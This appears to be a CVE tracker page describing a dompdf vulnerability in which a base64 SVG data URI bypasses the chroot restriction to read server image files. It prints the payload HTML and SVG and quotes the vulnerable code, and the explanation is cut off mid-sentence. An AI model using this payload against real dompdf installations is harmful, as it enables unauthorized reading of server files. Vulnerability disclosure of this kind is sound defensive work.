CVE-2026-56722
Description: An attacker, who controls the HTML input supplied to dompdf, can read arbitrary images from the server’s file system, bypassing the chroot restriction. The vulnerability is exploitable in the default configuration.
Exploitation conditions: An external user
Researcher: Nikita Sveshnikov (Positive Technologies)
Research
dompdf restricts access to local files using the chroot mechanism. By default, chroot is set to the root directory of dompdf (Options.php:350-351):
_Listing 1. chroot settings_
$rootDir = realpath(DIR . "/../");
$this->setChroot(array($rootDir));
// result: chroot = ["/path/to/vendor/dompdf/dompdf"]
When the HTML references a local file, Options::validateLocalUri() checks that the path resides within сhroot. A direct link to the file outside this directory is correctly blocked:
_Listing 2. Blocking link_
<!-- BLOCKED: /tmp/ is outside chroot -->
<img src="file:///tmp/secret.png">
How the protection is bypassed:
An attacker wraps the link to the target file in SVG format and delivers it via data: URI:
_Listing 3. Wrapping link in SVG_
<img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0i...">
Inside the base64 payload is an SVG containing the <image> element that points to the target file:
_Listing 4. Pointing to the target file_
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
width="589" height="415">
<image xlink:href="/tmp/secret.png" x="0" y="0" width="589" height="415"/>
</svg>
Why the bypass works:
The issue is that dompdf handles the SVG twice: first through its own validator and then via php-svg-lib — and the second pass does not apply the protection that the first pass does.
Step 1. The data:// protocol has no validation rules (Options.php:546-547):
_Listing 5. Lack of rules_
case "data://":
break; // no rules
SVG content passes without any checks.
Step 2. dompdf pre‑parses the SVG and validates the links inside it (Cache.php:137-183), but incorrectly interprets the path of an ex
⚡ Watch CVE-2026-56722
Get an email if CVE-2026-56722 is added to CISA KEV, gains public exploit code, or a new advisory cites it — max one per day, one-click unsubscribe.
Exploitation outlook
- Low exploitation risk0.56% 30-day exploitation probability — currently an unlikely target, but scores change as exploit code circulates. Riskier than 43% of all EPSS-scored CVEs.
Advisory coverage (2)
External references
Embed the live status
— this badge updates automatically when the KEV or exploit status changes. How to embed it →
[](https://www.csirts.com/cve/CVE-2026-56722)